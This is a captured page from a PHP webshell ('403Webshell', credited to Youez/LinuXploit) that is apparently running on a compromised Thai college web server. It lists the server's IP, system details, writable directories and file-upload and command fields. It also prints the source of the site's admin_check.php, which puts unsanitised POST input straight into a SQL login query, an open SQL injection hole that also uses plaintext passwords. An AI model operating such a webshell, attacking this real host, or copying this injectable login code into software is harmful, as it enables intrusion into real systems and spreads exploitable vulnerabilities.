403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.117.151.234
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/admin_check.php
<?php
	session_start();
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?
	// ตั้งตัวแปรแบบ session เพื่อไว้เก็บข้อมูลของสมาชิกที่ทำการ login 
	//session_register('r_statuslogin'); // สถานะการใช้งานหน้า login ผู้ดูแลระบบ และหน้าหลักผู้ดูแลระบบ
	//session_register('r_workId'); // รหัสงาน
	
	include("../connect/connect.php");
	
	$adminUserLogin=$_POST['txtUser']; 
	$adminPasswdLogin=$_POST['txtPass'];
	
	
	if($_POST['txtUser']=="" or $_POST['txtPass']==""){
		echo "<script language='javascript'>alert('คุณไม่ได้กรอก Username หรือ Password กรุณาลองอีกครั้ง')</script>";
		echo'<meta http-equiv="refresh" content="0;url=login.php">';
		exit();
	}
	$sql="select * from tbladmin where adUser='$adminUserLogin' and adPass='$adminPasswdLogin' ";
	//echo ">>>>".$sql;
	$result=mysql_query($sql);
	$rs=mysql_fetch_array($result);
	$num_row=mysql_num_rows($result); 
	$dpID=$rs['addepartmentID'];
	
	if($num_row==1){  
		    
		$_SESSION['r_statuslogin']=1;
		$_SESSION['r_adID']=$rs['adID'];
		if($rs['addepartmentID']==1){
				$_SESSION['r_workId']=1;
		}
		
		/*echo "<script language='javascript'>alert('ยินดีต้อนรับ คุณ ".$rs['adFname']."    ".$rs['adLname']." เข้าสู่ระบบ')</script>";*/
		echo '<meta http-equiv="refresh" content="0;url=index.php?i=dataindex">';
		exit();
	}else{ 
		echo "<script language='javascript'>alert('คุณกรอก Username หรือ Password ผิดกรุณาลองอีกครั้ง')</script>";
		echo'<meta http-equiv="refresh" content="0;url=index.php">';
		exit();
	}
	
?>

Youez - 2016 - github.com/yon3zu
LinuXploit